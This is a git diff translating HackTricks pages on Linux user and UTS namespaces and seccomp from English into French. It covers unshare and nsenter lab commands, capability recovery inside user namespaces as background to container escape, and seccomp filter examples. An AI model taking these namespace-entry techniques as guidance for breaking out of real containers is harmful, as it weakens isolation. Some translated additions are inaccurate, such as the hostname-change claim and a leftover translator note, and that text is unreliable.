termine. -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +Le processus PID 1 a une fonction spéciale : il doit devenir le processus parent de tous les processus orphelins. Si le processus PID 1 dans le namespace racine se termine, le noyau panique. Si le processus PID 1 dans un sous-namespace se termine, le noyau Linux appellera la fonction disable\_pid\_allocation, qui nettoiera le drapeau PIDNS\_HASH\_ADDING dans ce namespace. Lorsque le noyau Linux crée un nouveau processus, il appelle la fonction alloc\_pid pour allouer un PID dans un namespace, et si le drapeau PIDNS\_HASH\_ADDING n'est pas défini, la fonction alloc\_pid renverra une erreur -ENOMEM. C'est pourquoi vous obtenez l'erreur "Cannot allocate memory". +Vous pouvez résoudre ce problème en utilisant l'option '-f': ``` unshare -fp /bin/bash ``` +Si vous exécutez unshare avec l'option '-f', unshare va créer un nouveau processus après avoir créé le nouveau namespace pid. Et exécuter /bin/bash dans le nouveau processus. Le nouveau processus sera le pid 1 du nouveau namespace pid. Ensuite, bash va également créer plusieurs sous-processus pour effectuer certaines tâches. Comme bash lui-même est le pid 1 du nouveau namespace pid, ses sous-processus peuvent se terminer sans aucun problème. -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +Traduit de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +Pour utiliser l'espace de noms utilisateur, le démon Docker doit être démarré avec **`--userns-remap=default`** (Dans Ubuntu 14.04, cela peut être fait en modifiant `/etc/default/docker` puis en exécutant `sudo service docker restart`) -To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) - -### Check which namespace is your process in - +### Vérifiez dans quel espace de noms se trouve votre processus ```bash ls -l /proc/self/ns/user lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' ``` - -It's possible to check the user map from the docker container with: - +Il est possible de vérifier la carte d'utilisateur du conteneur Docker avec: ```bash cat /proc/self/uid_map 0 0 4294967295 --> Root is root in host 0 231072 65536 --> Root is 231072 userid in host ``` - -Or from the host with: - +Ou depuis l'hôte avec: ```bash cat /proc//uid_map ``` - -### Find all User namespaces +### Trouver tous les espaces de noms utilisateur {% code overflow="wrap" %} ```bash @@ -105,22 +91,19 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | ``` {% endcode %} -### Enter inside a User namespace - +### Entrer dans un espace de noms utilisateur ```bash nsenter -U TARGET_PID --pid /bin/bash ``` +Vous ne pouvez entrer dans un autre espace de processus que si vous êtes root. Et vous ne pouvez pas entrer dans un autre espace sans un descripteur pointant vers celui-ci (comme `/proc/self/ns/user`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). - -### Create new User namespace (with mappings) +### Créer un nouvel espace de noms utilisateur (avec des mappages) {% code overflow="wrap" %} ```bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] ``` -{% endcode %} - +{% endcode %} (This is a markdown tag and should not be translated) ```bash # Container sudo unshare -U /bin/bash @@ -130,17 +113,15 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` +### Récupération des capacités -### Recovering Capabilities +Dans le cas des espaces de noms utilisateur, **lorsqu'un nouvel espace de noms utilisateur est créé, le processus qui entre dans l'espace de noms se voit accorder un ensemble complet de capacités dans cet espace de noms**. Ces capacités permettent au processus d'effectuer des opérations privilégiées telles que le **montage** de **systèmes de fichiers**, la création de périphériques ou la modification de la propriété des fichiers, mais **uniquement dans le contexte de son espace de noms utilisateur**. -In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. - -For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces. +Par exemple, lorsque vous avez la capacité `CAP_SYS_ADMIN` dans un espace de noms utilisateur, vous pouvez effectuer des opérations qui nécessitent généralement cette capacité, comme le montage de systèmes de fichiers, mais uniquement dans le contexte de votre espace de noms utilisateur. Toutes les opérations que vous effectuez avec cette capacité n'affecteront pas le système hôte ou les autres espaces de noms. {% hint style="warning" %} -Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. +Par conséquent, même si l'obtention d'un nouveau processus à l'intérieur d'un nouvel espace de noms utilisateur **vous redonnera toutes les capacités** (CapEff: 000001ffffffffff), vous ne pouvez en réalité **utiliser que celles liées à l'espace de noms** (comme le montage) mais pas toutes. Ainsi, cela seul n'est pas suffisant pour s'échapper d'un conteneur Docker. {% endhint %} - ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash @@ -165,15 +146,14 @@ Probando: 0x140 . . . Error Probando: 0x141 . . . Error Probando: 0x143 . . . Error ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index a6d762bb5..f6c545e60 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -1,82 +1,72 @@ -# UTS Namespace +# Espace de noms UTS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. +Un espace de noms UTS (UNIX Time-Sharing System) est une fonctionnalité du noyau Linux qui fournit une **isolation de deux identificateurs système** : le **nom d'hôte** et le **domaine NIS** (Network Information Service). Cette isolation permet à chaque espace de noms UTS d'avoir son **propre nom d'hôte et domaine NIS indépendants**, ce qui est particulièrement utile dans les scénarios de conteneurisation où chaque conteneur doit apparaître comme un système séparé avec son propre nom d'hôte. -### How it works: +### Comment ça marche : -1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1. Lorsqu'un nouvel espace de noms UTS est créé, il démarre avec une **copie du nom d'hôte et du domaine NIS de son espace de noms parent**. Cela signifie qu'à la création, le nouvel espace de noms **partage les mêmes identificateurs que son parent**. Cependant, toute modification ultérieure du nom d'hôte ou du domaine NIS dans l'espace de noms n'affectera pas les autres espaces de noms. +2. Les processus dans un espace de noms UTS **peuvent changer le nom d'hôte et le domaine NIS** en utilisant les appels système `sethostname()` et `setdomainname()`, respectivement. Ces modifications sont locales à l'espace de noms et n'affectent pas les autres espaces de noms ou le système hôte. +3. Les processus peuvent passer d'un espace de noms à un autre en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUTS`. Lorsqu'un processus passe à un nouvel espace de noms ou en crée un, il commencera à utiliser le nom d'hôte et le domaine NIS associés à cet espace de noms. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -u [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` en utilisant le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +Si vous exécutez la ligne précédente sans `-f`, vous obtiendrez cette erreur.\ +L'erreur est causée par la sortie du processus PID 1 dans le nouveau namespace. +Après le démarrage de bash, celui-ci va créer plusieurs nouveaux sous-processus pour effectuer des actions. Si vous exécutez unshare sans -f, bash aura le même PID que le processus "unshare" actuel. Le processus "unshare" actuel appelle le système d'appel unshare, crée un nouveau namespace PID, mais le processus "unshare" actuel n'est pas dans le nouveau namespace PID. C'est le comportement souhaité du noyau Linux : le processus A crée un nouveau namespace, le processus A lui-même ne sera pas mis dans le nouveau namespace, seuls les sous-processus du processus A seront mis dans le nouveau namespace. Ainsi, lorsque vous exécutez : ``` unshare -p /bin/bash ``` +Le processus unshare exécutera /bin/bash, et /bin/bash créera plusieurs sous-processus. Le premier sous-processus de bash deviendra le PID 1 du nouveau namespace, et le sous-processus se terminera après avoir terminé son travail. Ainsi, le PID 1 du nouveau namespace se termine. -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +Le processus PID 1 a une fonction spéciale : il doit devenir le processus parent de tous les processus orphelins. Si le processus PID 1 dans le namespace racine se termine, le noyau panique. Si le processus PID 1 dans un sous-namespace se termine, le noyau Linux appellera la fonction disable\_pid\_allocation, qui nettoiera le drapeau PIDNS\_HASH\_ADDING dans ce namespace. Lorsque le noyau Linux crée un nouveau processus, il appelle la fonction alloc\_pid pour allouer un PID dans un namespace, et si le drapeau PIDNS\_HASH\_ADDING n'est pas défini, la fonction alloc\_pid renverra une erreur -ENOMEM. C'est pourquoi vous obtenez l'erreur "Cannot allocate memory". +Vous pouvez résoudre ce problème en utilisant l'option '-f': ``` unshare -fp /bin/bash ``` +Si vous exécutez unshare avec l'option '-f', unshare va créer un nouveau processus après avoir créé le nouveau namespace pid. Et exécuter /bin/bash dans le nouveau processus. Le nouveau processus sera le pid 1 du nouveau namespace pid. Ensuite, bash va également créer plusieurs sous-processus pour effectuer certaines tâches. Comme bash lui-même est le pid 1 du nouveau namespace pid, ses sous-processus peuvent se terminer sans aucun problème. -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +Traduit de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifier dans quel namespace se trouve votre processus ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' ``` - -### Find all UTS namespaces +### Trouver tous les espaces de noms UTS {% code overflow="wrap" %} ```bash @@ -86,29 +76,27 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | g ``` {% endcode %} -### Enter inside an UTS namespace - +### Entrer dans un espace de noms UTS ```bash nsenter -u TARGET_PID --pid /bin/bash ``` +### Changer le nom d'hôte -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/uts`). - -### Change hostname +Il est possible de changer le nom d'hôte d'un conteneur Docker en modifiant le fichier `/proc/sys/kernel/hostname` à l'intérieur du conteneur. Cependant, cela ne changera pas le nom d'hôte de l'hôte réel. +Pour changer le nom d'hôte de l'hôte réel, vous devez modifier le fichier `/etc/hostname` et exécuter la commande `hostname` avec le nouveau nom d'hôte en tant qu'argument. Cela nécessite des privilèges root. ```bash unshare -u /bin/bash hostname newhostname # Hostname won't be changed inside the host UTS ns ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/privilege-escalation/docker-security/seccomp.md b/linux-hardening/privilege-escalation/docker-security/seccomp.md index 9d3de9944..ec04f0d08 100644 --- a/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -1,31 +1,31 @@ -# Seccomp +## Seccomp
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -**Seccomp** or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\ -Seccomp has 2 modes. +**Seccomp** ou Secure Computing mode, en résumé, est une fonctionnalité du noyau Linux qui peut agir comme un **filtre syscall**.\ +Seccomp a 2 modes. -**seccomp** (short for **secure computing mode**) is a computer security facility in the **Linux** **kernel**. seccomp allows a process to make a one-way transition into a "secure" state where **it cannot make any system calls except** `exit()`, `sigreturn()`, `read()` and `write()` to **already-open** file descriptors. Should it attempt any other system calls, the **kernel** will **terminate** the **process** with SIGKILL or SIGSYS. In this sense, it does not virtualize the system's resources but isolates the process from them entirely. +**seccomp** (abréviation de **mode de calcul sécurisé**) est une fonctionnalité de sécurité informatique dans le **noyau Linux**. seccomp permet à un processus de passer dans un état "sécurisé" où **il ne peut pas effectuer d'appels système sauf** `exit()`, `sigreturn()`, `read()` et `write()` à des descripteurs de fichiers **déjà ouverts**. S'il tente d'effectuer d'autres appels système, le **noyau** **terminera** le **processus** avec SIGKILL ou SIGSYS. En ce sens, il ne virtualise pas les ressources du système mais isole complètement le processus de celles-ci. -seccomp mode is **enabled via the `prctl(2)` system call** using the `PR_SET_SECCOMP` argument, or (since Linux kernel 3.17) via the `seccomp(2)` system call. seccomp mode used to be enabled by writing to a file, `/proc/self/seccomp`, but this method was removed in favor of `prctl()`. In some kernel versions, seccomp disables the `RDTSC` x86 instruction, which returns the number of elapsed processor cycles since power-on, used for high-precision timing. +Le mode seccomp est **activé via l'appel système `prctl(2)`** en utilisant l'argument `PR_SET_SECCOMP`, ou (depuis le noyau Linux 3.17) via l'appel système `seccomp(2)`. Le mode seccomp était activé en écrivant dans un fichier, `/proc/self/seccomp`, mais cette méthode a été supprimée en faveur de `prctl()`. Dans certaines versions du noyau, seccomp désactive l'instruction x86 `RDTSC`, qui renvoie le nombre de cycles de processeur écoulés depuis la mise sous tension, utilisée pour la synchronisation de haute précision. -**seccomp-bpf** is an extension to seccomp that allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. It is used by OpenSSH and vsftpd as well as the Google Chrome/Chromium web browsers on Chrome OS and Linux. (In this regard seccomp-bpf achieves similar functionality, but with more flexibility and higher performance, to the older systrace—which seems to be no longer supported for Linux.) +**seccomp-bpf** est une extension de seccomp qui permet **le filtrage des appels système à l'aide d'une politique configurable** implémentée à l'aide de règles Berkeley Packet Filter. Il est utilisé par OpenSSH et vsftpd ainsi que par les navigateurs Web Google Chrome/Chromium sur Chrome OS et Linux. (À cet égard, seccomp-bpf atteint une fonctionnalité similaire, mais avec plus de flexibilité et de meilleures performances, à l'ancien systrace - qui semble ne plus être pris en charge pour Linux.) -### **Original/Strict Mode** +### **Mode original/strict** -In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +Dans ce mode, Seccomp **ne permet que les appels système** `exit()`, `sigreturn()`, `read()` et `write()` aux descripteurs de fichiers déjà ouverts. Si un autre appel système est effectué, le processus est tué en utilisant SIGKILL. {% code title="seccomp_strict.c" %} ```c @@ -63,7 +63,7 @@ int main(int argc, char **argv) ### Seccomp-bpf -This mode allows f**iltering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. +Ce mode permet de filtrer les appels système à l'aide d'une politique configurable implémentée à l'aide de règles Berkeley Packet Filter. {% code title="seccomp_bpf.c" %} ```c @@ -115,34 +115,29 @@ void main(void) { ``` {% endcode %} -## Seccomp in Docker - -**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: +## Seccomp dans Docker +**Seccomp-bpf** est pris en charge par **Docker** pour restreindre les **appels système** des conteneurs, réduisant ainsi efficacement la surface d'attaque. Vous pouvez trouver les **appels système bloqués** par **défaut** dans [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) et le **profil seccomp par défaut** peut être trouvé ici [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ +Vous pouvez exécuter un conteneur Docker avec une **politique seccomp différente** avec: ```bash docker run --rm \ -it \ --security-opt seccomp=/path/to/seccomp/profile.json \ hello-world ``` - -If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls** of `uname` are discovered: - +Si vous voulez par exemple **interdire** à un conteneur d'exécuter certains **appels système** tels que `uname`, vous pouvez télécharger le profil par défaut depuis [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) et simplement **supprimer la chaîne `uname` de la liste**.\ +Si vous voulez vous assurer qu'**un binaire ne fonctionne pas à l'intérieur d'un conteneur Docker**, vous pouvez utiliser strace pour lister les appels système utilisés par le binaire, puis les interdire.\ +Dans l'exemple suivant, les **appels système** de `uname` sont découverts: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - {% hint style="info" %} -If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +Si vous utilisez **Docker uniquement pour lancer une application**, vous pouvez **le profiler** avec **`strace`** et **autoriser uniquement les appels système** dont il a besoin. {% endhint %} -### Example Seccomp policy - -To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. +### Exemple de politique Seccomp +Pour illustrer la fonctionnalité Seccomp, créons un profil Seccomp désactivant l'appel système "chmod" comme ci-dessous. ```json { "defaultAction": "SCMP_ACT_ALLOW", @@ -154,37 +149,20 @@ To illustrate Seccomp 